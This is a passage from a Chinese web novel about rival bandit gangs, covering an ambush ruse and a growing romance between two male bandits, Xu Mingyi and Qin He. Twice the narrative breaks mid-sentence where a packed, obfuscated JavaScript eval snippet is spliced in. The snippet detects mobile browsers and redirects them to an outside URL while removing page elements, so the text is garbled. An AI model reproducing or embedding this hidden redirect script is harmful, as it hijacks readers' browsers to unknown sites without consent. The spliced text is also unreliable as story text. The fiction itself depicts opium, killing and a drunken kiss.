虞城临阳相近,中间隔着一个不大不小的遂阳,平顶寨便离遂阳近,响龙山则近临阳。平顶寨要下山劫掠,要圈地盘,也只能往遂阳,临阳走,毕竟虞城是大军阀阎玉山的大本营。阎玉山此人就如他的姓一般,活阎王,不好相与。因此如非必要,就是平顶寨的独山龙寇达也不想和他正面相对,自不会选择去招惹阎玉山,相比之下,临阳是最好的选择。 可寇达没想到,他没找响龙山的麻烦,响龙山先再挑衅起了他。 事情便是从开春后响龙山劫掠了帽儿庄开始的。 帽儿庄只是一个不大的村落,良田大都属于当地的一个地主,寇达早几年便逼迫他们拔了庄稼种植米囊花。起初地主是不愿意的,后来被寇达逼着抽了大烟,就此染上烟瘾,一发不可收拾。秋日里种下的米囊花,春天正当收割时,还未将东西运回平顶寨,就被响龙山劫了,还打死了二十来个响马。 寇达怒不可遏,直接让四当家廖兴和秦河去寻仇。许明意原本不在其列,他如今管着秧子房,可寇达不知怎么想的,竟让许明意也一道跟了上去。 廖兴是平顶寨的四当家,平日里却没什么存在感,却是个直性子,重义气的男人。说的好听是直性子,说难听了,便是个莽夫,一贯只会直来直往,很有些愚忠。秦河能以一当十,便如他手中那把□□,无往而不利,和响龙山那伙土匪打将起来,大都是狭路相逢勇者胜。可不知响龙山从哪儿弄来了许多枪,竟叫廖兴一行人吃了大亏。 后来是许明意出了个主意,便是先着人散布有一个姓于的前清遗少要折返虞城老家避祸的消息,话里很是吹嘘了一番这个遗少如何有钱,父辈在四九城里如何了不得,攒下多大一份家业,回乡的箱笼里又有多少珠宝古董,说得煞有介事。故事自然是许明意杜撰的,他本就出身没落士绅,又在四九城里待了那么些时日,见得多,谎话说起来也分外真实。他将计划说出时,秦河看了他几眼,许明意不常说起从前的事,他却能从这只言片语里推测出许明意过去的生活。 四当家不擅这些弯弯绕绕,加之这些时日折了不少兄弟,已经很是恼火,见秦河也没异议,便点了头。 离洪县。 离洪县虽是个县城,可人口却不多,堪堪作一个中转站,故而往来商客不少。这一日,一支五十来人的商队便进了离洪县,为首的青年年纪不大,约莫二十出头,穿了身丝绸长衫,腰上挂的白玉佩,手上把玩着质地极好的观音玉牌,紫檀木珠子圆润玲珑,手上也了个嵌着宝石的戒指。 那青年派头大,下马车时时踩的是人凳,脚还没挨着地,就先嫌弃起离洪县的破旧来,“这什么鬼地方,秦大,到底什么时候才能到虞城?” “这一路上少爷吃没吃好,睡也睡不好,天天睁眼看着的都是你们这张张丧气脸,连个漂亮的小娘子都见不着,”他一口地道的四九城口音吐出诸多埋怨,很是骄横,那唤秦大的是个高大男人,闻言忙躬着背哄他,“就到了就到了,少爷先将就几日,等咱们回了老家,要什么有什么。” 青年冷哼一声,甩着袖子朝客栈里头走去,一边走,还要嫌客栈破旧,不是桌子脏,便是陈列差,还说“这店不会是黑店吧?”招得客栈小二都险些赔不出笑脸。秦大哄着那少爷,又着小二带底下人去安顿,不忘叮嘱道:“我们那些东西你们店得给我看好了,要是少了一件,把你们客栈抵出去都赔不起。” 小二连连应是。 那富家少爷自然是许明意,秦大就是秦河了。秦河高声让人送来热水给他们家少爷洗漱,里头许明意还在挑剔,说,“把这花瓶给少爷丢了,忒丑了。” 秦河:“是是是,这就拿开。” 许明意:“将这画也摘了,如此粗鄙拙劣的画也敢往上挂,要是在四九城,敢送到少爷面前把他腿都打折。” 活脱脱的一个娇气奢靡纨绔。 秦河看着他难得露出的拿腔拿调的做作模样,有点儿心痒,又觉得实在有意思,没忍住,扑哧一声笑了。许明意没搭理他,轻轻推开一线窗户,侧身远远看去,就见客栈外的茶摊上有几个茶客正有意无意地盯着马匪扮作的家丁卸行李。他们对视一眼,留下两人盯梢,一人不动声色地留了一个铜板,便离开了。许明意心头稍松,他道:“鱼咬钩了。” 秦河笑道:“这么肥的傻鱼饵,谁能忍住不咬钩?” 许明意瞥他一眼,将手指上的戒指摘了丢在桌上,兀自将观音玉牌捻在手中缓缓摩挲。这枚观音玉牌是闻鹤来当初送予他的,他走得仓促,带在身上的东西不多,这枚观音玉牌算是一个,如今正好拿出来充场面。 许明意道:“三哥那边准备得怎么样了?” 秦河倒了杯热水给他,道:“放心,我教过狗儿设陷阱,三哥办事最稳妥,有他看着,明天一定出不了岔子。” 秦河曾经跟着他养父做过猎户,有一身打猎设陷阱的本事,许明意也知道,所以分了两路,由他们来引人上钩,廖兴带着涂狗儿几人先去埋伏设陷阱,只待汇合来个瓮中捉鳖。 许明意点了点头,见秦河一直看着自己,他抬起头,看向秦河:“看什么?” 秦河说:“明意,你以前在家里……也是这样?” “什么样?”许明意一怔,笑了一下,道,“当然不是,我在家里排行第七,我几个哥哥是这样的,甚至有过之而无不及。” 秦河道:“你呢?” 许明意想了想,发觉他对当初尚在许家时的记忆已经模糊了,因为实在乏善可陈。他在许家人见人嫌,每日都谨小慎微,恨不得没人能瞧见自己。许明意摇摇头,没说什么,道:“今晚还是要提高警惕,免得在客栈里就被人下了黑手。” 秦河见他不想说,也没勉强,笑道:“明白,今晚有我和义哥看着,你踏实睡一觉,明天咱们就走。” 许明意:“嗯。” 当天在客栈里,许明意好一通折腾,道是客栈里的吃食不好吃,又让人去县里酒楼买了饭食,还在客房内熏了香。他原是闹着要出去寻点乐子,被秦河有意无意地道是要在客栈内看着行李劝住了,最后退了一步,要秦河去请两个花娘来唱曲儿。 秦河只得让店小二去请,好在这样的事情也不算少见,小二便依着秦河的吩咐去请了两个花娘。 低低柔柔的唱曲声响了大半夜。花娘外出接客也算不得什么新鲜事,只要钱给够,两个年轻姑娘原本见客人给钱大方,又是个俊俏的年轻人都有些意动,脸上的笑容真切了几分,奈何杵在一旁的仆人人高马大,黑着一张脸,生生唬得花娘只敢安安分分唱曲儿。那少爷不高兴得很,对那仆人也骂骂咧咧,说他管得忒多,早晚要收拾他。 仆人梗着脖子道,老爷吩咐过了,不许少爷在路上胡来! 少爷气鼓鼓地拍了桌子,末了还是让花娘走了。 当中一个花娘临走时恋恋不舍地看着许明意,还给他塞了一个香囊,笑嘻嘻道明儿还找姐姐啊,秦河脸色一下子阴沉得跟黑炭似的。等人一走,啪的就把门甩上了,朝许明意伸出手。 许明意:“嗯?” 秦河绷着脸,“香囊。” 许明意看着秦河的模样,微微笑了,慢吞吞地抛了抛手中的香囊,道:“想要姑娘的香囊啊?” 秦河劈手就想要夺,许明意侧身避过,玩笑道:“怎么还来抢的?你说想要少爷又不会不给你。” 秦河仗着力气大,个头也高,身手好,一把拿走他手里还飘着香的香囊,冷笑道:“舍不得给我?” 许明意拍他铁箍似的手,道:“松开。” 秦河哼了一声,就要烧了那香囊,许明意道:“先留着吧,明日我拿着出门。” “做戏就要做全套。” 秦河见他不是当真惦记那姑娘,心里微松,又有点儿发苦,许明意招人喜欢,他自个儿也更喜欢姑娘。他心中不高兴,用力捏了下他的手腕,听他抽气,又舍不得的拿粗糙的指腹贴着腕子皮肉搓了搓,道:“捏疼没?” 许明意看着他线条利落的下颌,浓密眼睫毛垂落着,有种异样的温柔,心中也是一动,想抽出手,口中道:“没事。” 秦河看着他手腕上泛起的那一圈红痕,心疼地又揉了几下,咕哝道:“真是少爷。” 那神情,若非克制着,只怕都要凑嘴边亲几口了,许明意整条手臂都似隐隐泛起了麻意。 第二天,于少爷一行人大摇大摆地离开了离洪县。他们一走,就有两人骑上马,抄小道也离开了。 许明意和秦河听着眼线传来的消息,心里也有了底,其实这样的招数,他们并不陌生,只不过从前他们是捕猎的狼,今日佯装成了肥羊。许明意坐在马车上,秦河赶车,二人低声说着话,秦河不放心,问许明意:“枪和子弹检查了没?” 许明意道:“嗯,都看过了。” 秦河说:“一会儿别离我太远。” 许明意看着秦河映在马车门上的背影,应道:“好。” 果不其然,离开离洪县地界,许明意以天热为由,在一个林子里修整时,就听三声两长一短的鸟叫,他和秦河对视一眼,秦河抬手打了个手势,当即所有人都有意地寻了掩体。 不过一炷香之后,林子里响起了枪声和马蹄声,却是他们等了已久的响龙山的土匪。 秦河面容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887540|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷硬,利落地抬枪上膛,说:“兄弟们,找回场子的时候到了。” “干他娘的!” 一方蓄势待发,一方毫无准备,结果自然不消多说。平顶寨和响龙山两窝土匪相斗的这些时日,平顶寨因着所备枪支不如响龙山,吃了许多亏,这一回大获全胜,不但杀了响龙山许多土匪,还缴获了不少枪支子弹,无不开心不已,看着许明意的眼神都变了许多。 如这样的事情在许明意留在平顶寨的日子里并不少见,时日一长,寨子里的许多响马也不在意许明意年纪小,都称许明意一声许哥,明哥云云,尤其是受了他恩惠的。危难之下易结下生死大恩,许明意也大方,不吝惜钱财,他身边也多了一些交好的响马,只不过许明意常和秦河在一起,秦河在平顶寨中本就人缘极好,因而并不显眼。 秦河乐见得如此,甚至隐隐有几分骄傲。 平顶寨和响龙山关系愈发紧张,简直势同水火,彼此间有来有往,许明意也记不清自己手上沾了多少人命。匪寨是一个充斥着血腥暴力的地方,兴许过的是刀口舔血的日子,有今天没明天,山上的响马们纵情声色,鸦/片,赌/博、酒色,杀戮无一不好。 许明意置身其中,便是自己都不曾发觉他身上的匪气愈重,再不是最初入寨时,谨小慎微,如履薄冰的许明意。 世道乱,天气也反复无常,这一年的夏天来得分外早,一场暴雨之后,盛夏就踩着六月的尾巴来了。许明意的头发长得快,天气热起来贴着脖颈有些难受,许明意便拿了剪刀想自己修剪一番,赶巧被回来的秦河撞了个正着。秦河手里抱着一个箩筐,他将筐一放,对许明意道:“等会儿,我来,我来!” 许明意将剪了额前遮头发的一绺,闻言道:“不用了,我自己能成。” “你能成啥啊,”秦河横他一眼,拿过他手中的剪子,道,“就你将自己头发剪得更那狗啃过似的,你不嫌,我还嫌呢。”许明意也没拦着,口中回道:“我的头发,你嫌什么?” 秦河嘿然一笑,拉了张椅子过来,按着他的肩膀,说:“少爷,好好坐着吧你。” “这粗活儿,交给我。” 许明意坐在秦河身前,说:“你还学过剃头?” 秦河道:“小瞧了我不是,你虎哥干啥不行啊。” 许明意抓了抓自己的头发,说:“剪短了就成,你都剃了也行。” 秦河哼笑道:“想出家啊?” 兴许是当年被架在女子的身份中,被所谓的三从四德规训,一朝反弹,许明意并不在意美丑与否,于他而言,干净便好。秦河说:“你甭管了。”秦河是当真见不得许明意糟蹋他那张脸,虽然在他看来,许明意就没有不好看的时候。可一想许明意顶着卤蛋似的圆溜溜脑袋,秦河就觉得实在无法忍受。 二人你一句我一句地说着,秦河拿着那把剪子,细碎的头发细细飘落,许明意闭上了眼睛,察觉他的手指穿梭在自己发间,偶尔触着皮肤,传递着秦河的体温。他们挨得近,外头日头大,树上蝉鸣聒噪,许明意的心在这喧嚣里都似静了下来。许明意的头发乌黑柔软,秦河专注又细致地修剪着他的头发,即便入了夏,日头毒起来,许明意的皮肤依旧白而细腻,面上细细的绒毛显出他的年轻,鼻尖小巧,嘴唇薄红,是一张很秀气俊逸的脸。 秦河说:“小时候村里有个剃头匠,我爹常带我去,让他给我们爷俩剃头。” “我先剃,剃完了我就蹲在一边看他给我爹剃头,”秦河说,“我爹还和那个剃头匠开玩笑,说干脆让我去跟着他学剃头吧,别打猎了,山里有虎狼,太危险了。” “他虽然是开玩笑,我知道他是真想过。” 有碎发落在鼻梁上,许明意抬手擦了下,问道:“那怎么没学成?” 秦河笑道:“我觉得剃头太容易了,也不威风,摆弄头发算什么本事。” 许明意说:“那也算一门手艺。” “是啊,”秦河道,“那时候不懂事,”他随口说着,一边垂下眼睛看着许明意,头发剪短了,越发显出许明意眉眼的优越来。秦河伸手拂去许明意脸颊脖颈上沾的碎发,那截脖子修长,秦河没忍住,合掌攥了攥后颈,他掌心热,手指粗糙有力,激得许明意颤了下,猛地睁开眼看向秦河。 秦河搓了搓他的脖子,说:“头发沾上了,我去给你弄点热水洗个头。” 许明意拍开他的手,面无表情道:“有归有,瞎摸什么。” 秦河嘿嘿笑,没说话,却回味地捻了捻指腹,又忍不住抬起他的脸,说:“啧,手艺没落下,看看,这弄得多好。” 许明意被他气笑了,冷笑道:“以后不干响马当剃头匠去吧。” “行啊,”秦河思索道,“我走街串巷去给人剃头,你在我身边给我揽活儿,做活招牌。” 许明意被碎头发弄得脖颈发痒,秦河拿毛巾替他擦了擦,说:“别抓了,先忍会儿,箩筐里有甜瓜,你打点儿井水湃着,我去给你弄水洗头。”许明意抬起头,看着秦河,秦河没听他回话,看向了许明意,四目相对间,许明意就望入了秦河眼中的温柔认真。 许明意仓促地避开视线,道:“哪儿来的甜瓜?” 秦河说:“买的,有兄弟从山下弄了一些,我就拿了几个。” 许明意应了声。 秦河道:“对了,大当家让咱们晚上过去喝酒。” 许明意:“行。” 37. 第 37 章 当晚来寇达这儿喝酒的不止秦河和许明意,还有二当家魏振海,四当家廖兴,底下一些得力的人,还有许明意相熟的如姚善,赵正义,张小卓等人。张小卓约莫十八九岁,年纪比许明意还小,入寨子倒是有些年头了,人也机灵,是响马当中的一个小头目。许明意救过他一命,他就明哥长,明哥短的跟在许明意屁股后面。在他眼里,许明意读过书,又聪明,实在是很厉害——和平顶寨中的响马不一样的厉害。他总跟着许明意,秦河吃味得很,要不是见许明意对张小卓也没有过分亲昵,只怕醋坛子都要翻了。 张小卓一见许明意,面上就绽开了笑,挥手叫道:“明哥!” 他身旁的一些人都纷纷招呼二人,口中叫着,“虎哥,明哥。” 寇达和魏振海都还未至,来喝酒的响马随意地坐着,秦河带着许明意走向了姚善和赵正义几人,彼此都是熟人,言谈之间自是融洽。 张小卓笑嘻嘻地对许明意道:“明哥,你这样看着真精神。” 许明意摸了摸自己剃短的头发,指了指秦河,说:“虎哥剪的。” 张小卓有点儿怵秦河,闻言说:“虎哥还有这手艺!” 秦河扯了扯嘴角,一旁姚善杵了杵他,玩笑道:“我们怎么不知道你还有这手?” 秦河不自在地咳了声,说:“老子会的多了去,难道还要一一给你列出来?” 姚善点了点他,对赵正义说:“看见没,这就是偏心眼儿,咱们认识这么多年了,也没见他给咱们亮手艺,明意一来,处处周道,样样都会。” 秦河佯怒道:“吃老子做的饭吃得少了?!” 几人哈哈一笑,许明意也莞尔,正说笑着,寇达和魏振海自门外走了进来,当即所有人都站了起来,纷纷叫道:“大当家,二当家。” 寇达压了压手,笑道:“都是自家兄弟,别客气,坐。” 来的都是平顶寨中的各方头目,说是喝酒,姑且也算不正式的会议,大都是寇达说,底下人听。大抵是近来收获颇丰,又在与响龙山的交锋中占了上风得着益处,寇达竟给他们都准备了颇有分量的银元,将喧闹的气氛推得越发热烈。 酒过三巡时,寇达和秦河、许明意也喝了几杯酒,秦河是他左膀右臂,他与许明意交好,许明意又确实得用,寇达自也看重。临到散席回去时,许明意和秦河都喝了不少酒。许明意的酒量在寨子中练得大了不少,可今夜喝的酒,是自酿的高粱酒,后劲大,回到屋子里,许明意眼睛都变得直愣愣的。 秦河好些,面皮有些红,他将许明意扶坐在床上,看着他红通通的脸颊,不由笑了,说:“明意,还行吗?” 许明意迟钝地扬起脸看向秦河,说:“什,什么?” 秦河看他喝成这样,骂了声灌酒的龟孙子,却忍不住摸了摸他的脸,说:“你坐着,我去打水,洗干净了再睡觉。” 许明意听着“洗干净”三个字,点了点头,重复道:“洗干净再睡觉。” 秦河又气又笑,二人好歹住了这么些日子,他知道许明意有些少爷习性,偏偏秦河昏了头,竟也觉得许明意的瞎讲究也可爱。他叮嘱许明意:“老实坐着,别栽床下去了啊。” 许明意皱了皱眉,说他,“好啰嗦。” 秦河用力呼噜了一把许明意短短的发茬,转头去给他打水洗漱。他动作快,端着水回来时,许明意正埋头和自己的一只鞋子做斗争,蹬脱了,可太用力,鞋子甩脱了,直接摔秦河脚下。秦河弯腰捡起,规规整整地放在一旁,才让许明意去漱口洗脸。 秦河对上许明意有无尽的耐心,照顾醉鬼也细致,见他没将漱口的水喝下去,心想倒也没醉得太糊涂,就拧了帕子给他擦脸。 许明意被他弄得脸都皱了起来,说:“我,我自己来。” 秦河道:“老子伺候你还不好?” 许明意:“不要。” 秦河“嘿”了声,一把按住许明意的肩膀,一手攥着帕子就揉许明意脸上,说:“就要。”他手掌大,蛮劲儿也大,盖住了许明意整张脸,许明意蹬了秦河几脚,不肯配合,“秦河!” 秦河:“哎,你虎哥在呢。” 许明意含糊不清地骂:“你他妈的……” 秦河掐他下巴,说:“不学好,好好的少爷学什么骂人。” 一角帕子垂落下来,露出许明意光洁的额头,潮红的脸,他咕哝道:“不是少爷。” 秦河蔫儿坏,说:“不是少爷,是小姐?” 许明意瞪他,又踹了他一脚,道:“你他妈的才小姐。” 秦河被他踹得不疼,心却痒,说:“不是少爷不是小姐,是什么?” 许明意思索了一会儿,说:“响马——”他抓着秦河的衣领拽将下来,抬手点了点秦河的心口,声音低,说,“你敢欺负我,我就杀了你。” 那几下力道轻,落在秦河心口却似带了电似的,触得秦河头皮都要炸开了,心好像已经七零八落,犹有地震的余韵,脑子里嗡嗡的。秦河一把抓住许明意的手腕,“许明意。” “你已经快把我杀了。” 许明意愣了一下,看向自己的手,疑惑自己怎么就要将秦河杀了,抬起眼,就对上了秦河炽热的,深沉的眼神,刹那间,仿佛一把火直接兜头罩下。秦河声音喑哑,低声道:“明意。” 许明意被他看得心头发颤,下意识地别过脸,往床上退,秦河却逼近了一步,痴迷地看着他的脸,他殷红的嘴唇。 酒劲一下子涌了上来。 许明意还没想明白,嘴唇上已经贴上了柔软却滚烫的唇肉,裹挟着酒味和浓烈的渴求,本能地厮磨,触碰。许明意脑子发麻,秦河亦亢奋得不像话,这是他第一次吻许明意,第一次这样接近他。他抚摸着许明意的脸颊,脖颈,呼吸粗重得好像带了火星子,不住地叫他的名字,好像不如此,就不足以宣泄自己那过载的满腔喜爱。 他结实的身躯压上来时,许明意嗓子眼里溢出一声短促的呻吟,盛夏里褂子薄,穿在身上丝毫遮挡不住年轻身躯的火热。秦河将他的嘴唇啃咬得湿润发烫,在许明意启唇时,几乎无师自通地伸了舌头。 许明意是尝过□□之欢的人,压抑了许久,今夜的酒,身上的人,都好像成了打开刻意尘封记忆的钥匙,过往的欢愉一气儿浮现,唤醒了每一寸躯体。 那一刻,他本能地抓住了秦河的肩膀,用力咬住了秦河的嘴唇。 些微的疼痛让秦河激动不已,喘息了一声,他想吻许明意,吻遍他的每一寸。 可尚未来得及实现,在秦河攥着许明意腰的手下移时,就被用力地推开了,许明意自床上坐起,头发乱糟糟的,眼角也红透,湿红的嘴唇微肿,他盯着房间的某一处,对秦河说:“出去。” 秦河呆了一下,也自情欲中回过神,他烦躁地抓了抓自己的短发,不知是想解释抑或更进一步,“明意……” 许明意道:“我喝多了,对不住。” 秦河顿时没了话。 许明意喝多了酒,脑子也乱,当晚怎么睡着的都不知道,第二天醒来时头痛欲裂,口干舌燥,整个人都不舒坦。直到许明意冲了个冷水澡,又灌了两碗苦茶,昨夜种种才慢慢在脑海中浮现。 许明意懊恼不已,还有点茫然。 他觉得自己实在卑劣。他明明知道秦河对他有意,偏当做不知,如常与秦河同处一个屋檐下。早些待在秦河这儿,一来是他无处可去,二来许明意初来乍到,这儿到底是土匪窝,许明意不是没有借秦河势的意思。可在那层窗户纸捅破之后,他就该离秦河远远的。 许明意想,他有些习惯秦河在身边的日子了。秦河这人重义气,待他至诚,说来说去,还是他贪恋秦河对他的好,就如当初在四九城里,他贪恋闻鹤来予他的那点虚情假意。但是秦河和闻鹤来不一样,闻鹤来是浪子,是花丛老手,真情假意的把戏信手拈来,许明意看得分明,心中纵有失落,却毫无负担,断也断得决然。 秦河是认真的。 许明意这一生得到的真心太少,突然有人捧着真心送他眼前,就如穷鬼得了剔透的琉璃珍宝,朝不保夕惯了,不敢碰,也不想碰,偏又忍不住驻足,却也舍不得让它磕碎碰碎。 他知道付出真心却无人珍视是什么滋味。 许明意没有看见秦河,心里也松了口气,脑子里却浮现许久之前他拒绝秦河,秦河生怕他不自在,装作若无其事的模样。许明意恍了恍神,舌尖发苦,半晌,只是长长地叹了一声。 秦河的确是有意躲开了许明意。人心都是肉长的,许明意对他一拒再拒,要说秦河完全不在意,那是假的。他只是不明白。秦河能感受到,许明意对自己并非全然无意,可他却不肯同他好。 秦河不可自控地想了许多,甚至生出一个念头,许明意是不是看不上他? 还没等秦河想出个所以然,他就听涂狗儿来问他,“虎哥,你和明意吵架了?” 秦河想也不想就说:“没啊,我们能吵什么架?” 涂狗儿纳闷儿道:“那明意怎么要搬家啊?” “什么?”秦河声音一下子拔高,人也腾的站了起来,他盯着涂狗儿,道,“他搬去哪儿?” 涂狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887541|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿说:“噢,明意请了几个兄弟给他收拾出一个没人住的破屋子,张小卓还去帮着修屋顶了,虎哥,明意没告诉你吗?” 秦河脸色变得难看,二话不说就往自己家里去了。 秦河回来时就和许明意撞了个正着,他抓着许明意的胳膊,道:“你要搬出去?” 许明意点点头,道:“是,我想了想,还是搬出去好些。” “好,好哪儿了?!”秦河皱着眉,阴沉沉的,“你一个人知道怎么照顾自己吗?” 许明意神情一顿,看着秦河,道:“秦河,我不是小孩子。” 秦河沉着脸,道:“你是为了躲我,因为那天晚上我亲了你?你就这么恶心,连和我一起住也不愿意了?” 许明意垂下眼睛,平静道:“我说过,我不喜欢男人。” 秦河心中一痛,又愤怒不已,他的呼吸变得急促,压了又压,开口道:“你骗我!” “你如果真的恶心到这个地步,那天晚上你怎么会回应我?”秦河直直地盯着许明意,说,“你明明也是想要的,喜欢的。” 许明意:“我不喜欢!” 他道:“我喝醉了——”话没说完,秦河已经捏住他的脸颊扬起他的脸,毫无防备间,四目相对,秦河说,“我不信,就算是喝醉了,亲男人和亲女人能一样吗?明意,你看着我。” 许明意被他捏得吃疼,他蹙了蹙眉,对上秦河执拗的眼神,那双眼微微泛红,眼里有受伤,有偏执,他说:“你真的觉得恶心得不行,你怎么不对我动手?反而现在要躲开我。” 许明意抿了抿嘴唇,说:“我说了,是喝醉了,酒后乱性。” “秦河,你是我的朋友,”许明意道,“我的朋友不多,我不想和你连朋友都做不成。” 秦河道:“我和你做不成朋友!” “我见你的第一眼就喜欢你,”秦河面无表情道,“我也没把你当兄弟当朋友,我只想你做我媳妇。” “朋友之间该是怎么样的我知道,明意,你别把我当傻子,你明明对我也不是没有一点喜欢的,为什么要一再拒绝我?”过了一会儿他还是轻声问出了口,“是因为我是马匪,通缉犯,又没读过书,你瞧不上我?” 许明意知道他该顺着秦河的话,这样或许就能斩断这段孽缘,可看着秦河的眼神,许明意嗓子眼却似被湿透的棉花堵住了,说不出话来。秦河一贯张扬自信,从未如此彷徨自苦,他低声祈求道:“明意,我会护着你,尽我所有对你好的,你相信我,给我一个机会,好吗?” 过了许久,许明意说:“秦河,你说你喜欢我,你真的了解我吗?” “就算我和你在一起,而后呢?两个男人在一起算怎么回事,你又能喜欢多久?” “至于嫌弃你是响马,通缉犯,我也是响马,通缉犯,只是我不喜欢做响马,当初入寨子也是不得已而为之,我不瞒你。秦河,在这响马寨里,光是活下去已经让我如履薄冰,费尽心神,我没有余力再与你谈那些可有可无的情爱。” 秦河怔怔地看着许明意,竭力去想他说的话,过了好一会儿,才说:“你并没有否认你喜欢我的话。” “你心里也有我。” 许明意哑然。 秦河道:“明意,你有许多事我是不知道,只要你愿意告诉我,我会认真听。” “两个男人在一起又怎么了,我喜欢你,你喜欢我,那就能在一起。明意,我活一日,就会喜欢你一日,直到我死的那天。” 至于响马一事,秦河沉默了好一会儿,道:“响马……你让我再想想,我再好好地想想。” 许明意没想到秦河能执着如此,他已经被放弃了太多次了,这是第一次,有人在他甩开手之后,愿意一而再,再而三地攥住他。 许明意心中不是不动容的。 突然,他就见秦河凑过脸来,一张脸是藏不住的喜悦,眼睛亮晶晶的,说:“明意,你是喜欢我的吧?你没有说不喜欢!” “是吧,是吧!” 许明意:“……你只记住了这个吗?” 秦河当即道:“都记住了,记得牢牢的。” “但是这个嘿,我最喜欢,”秦河低下头,看着明意,说,“明意,你是不是也有点儿喜欢我?” “就算不多,也是有点儿吧!” 秦河:“明意,是不是?有一点儿喜欢我?” 许明意被他问得心中一软,还没说话,就听秦河道:“现在是有一点儿,不代表以后也还是一点儿,不多久就会变成很喜欢了。” 许明意:“……” 38. 第 38 章 秦河面上那显而易见的喜悦不加掩饰,看得许明意竟慢慢有些耳热,又有点儿茫然,他想,至于吗?这世上竟会有人因着他那不知多少的喜欢而欣喜至此,好似自己的心意是什么珍贵的东西。 许明意不知,秦河的确要高兴坏了。 人生大起大落不外如此。 那夜二人意乱情迷,许明意拒绝了秦河之后,秦河一人胡思乱想了很多,大都是许明意看不上他。秦河此前从来没有怀疑过自己,如今看自己,除了一身功夫,好像也没什么了不得的。 不怪许明意瞧不上他。 这个念头折磨得秦河痛苦不已,相较于许明意不喜欢他,他更无法许明意心里是看不起他的。可现在他发现许明意并不是看不上他,他或许真的还有点喜欢他,无论这个喜欢多或少,都足以将秦河拉出自我审视厌弃的泥沼,让他重获天光。他岂能不喜? 要不是怕惹恼了许明意,他恨不得捉着许明意狠狠亲上几口。 二人的关系好似又回到了从前,许明意却发现是更近了,无他,秦河实在是一个很能得寸进尺的男人。偏他又坦坦荡荡的,炽热诚挚,只看向许明意的灼热眼神就让他说不出狠话。 这小子还敢对他动手动脚。原本还克制着,现在总忍不住拉许明意的手,捏一捏,又按捺不住还摸他的耳朵,好像守着珍宝的守财奴,喜欢得不行,就忍不住摸一摸,稀罕一番,让许明意羞恼又觉得无奈——可真要说生气吧,倒也没多生气,许明意不得不承认他被秦河蛊惑了。 是的,蛊惑。 秦河捧着满腔爱意送到他面前,即便许明意竭力提醒自己保持冷静,可目光还是忍不住为之驻足,更不要说,二人朝夕相处,在许明意看来,秦河的确是一个值得人欣赏的男人。他毫不藏私地教许明意如何自保,如何在这个乱世里生存下去,如师如兄。 许明意对秦河有好感,似乎也不奇怪了。许明意曾将这话告诉秦河,以此来表示他也许无法对秦河付出与他同样深厚的感情,秦河反而奇怪地看了他一眼,道:“又不是交换东西,得放秤上称一称,不对等就收回去,不给了。” “这算什么喜欢?” 许明意呆了呆,秦河笑了,心痒手也痒,仗着自己个头高伸手薅许明意短短的发茬儿,说:“我喜欢你,是我的事,我想你也喜欢我,结果你真的喜欢我了,这就足够了。”若是秦河读过书,就知道这是守得云开见月明之喜,可他不曾读过书,但人与人的感情却是相通的,没有精巧的诗文,却有自有稚拙质朴的言辞足以陈心意。 “如果我不能让你更喜欢我,那一定是我哪儿不够好,有别人比我更入你的眼,”秦河理所当然道,“那是我没本事。” 许明意看着秦河,道:“你不会觉得,不公平?” 秦河道:“这世上哪有公平?” “我虽然不懂,可在这事儿上,也论不了公平吧,求公平计较得就多了,两个人天天吵架去了,还怎么在一起?” 许明意沉默片刻,说:“你不会不高兴?” 秦河思索须臾,说:“不算不高兴吧,我当然想你喜欢我,多一点儿再多一点儿,可慢慢就顾不上了,”他揉了下许明意薄红的耳朵,低声道,“我满脑子都是想怎么对你好,怎么让你更喜欢我。” 许明意眨了眨眼睛,抓住秦河的手腕,说:“别瞎揉。” 秦河嘿了声,反手攥着许明意的手摩挲了一下,旋即新奇地瞧着他的耳朵,道:“明意,你耳朵红了。” 许明意腾的抽出手,镇定自若地看着秦河,道:“你手劲儿太大了。” “弄疼了?”秦河低下头去看,呼吸也随之吹拂而来,许明意耳朵敏感,当即退后了一步,道:“你干什么?” 秦河道:“躲什么呀,我看看,”他嘀咕道,“是你皮太薄了,我都没使劲儿。” 许明意道:“你还想怎么使劲儿?” 秦河听着“使劲儿”三个字,眼神游移了一下,不知想到了哪儿,嘿嘿地笑了,目光比盛夏的烈日还灼热。许明意眉毛一拧,秦河扭扭捏捏地低声道:“明意,再给我亲一口呗。” 许明意眼睛微微睁大,看着秦河。 秦河却想起了那天晚上酒后的唇舌纠缠,湿漉漉的舌头勾着弄着,呼吸吞吐在彼此的唇齿间,二人吻得愈深,身体亲密无间地触碰着,让人沉醉不已。后来那个吻在他梦中出现过,不同的是,他们没有戛然而止。秦河不记得梦里他做了什么,总归情动又餍足,醒来时□□都要搓烂了。 秦河直勾勾地盯着许明意的嘴唇,气息温热,“明意。” 许明意简直要被烫伤了,脸颊涨红,“你别得寸进尺!” 秦河小声道:“我就想再亲一下,那天晚上喝多了,没尝着味儿,就记得你舌头好软,我后来还做梦——”他越说越露骨,许明意哪儿见过这样的,他气笑了,道:“滚吧。” 秦河:“不滚。” “明意,明意,”秦河拉着许明意的手臂,在他的脸颊上啄了一下,眼见着要挨踹时,飞快地松开了许明意,咧着嘴露一口白牙,许明意颊边还停留着那一触即逝的温度,看着秦河那傻乐的模样,他简直没眼看,说:“秦河你的聪明劲儿呢?” 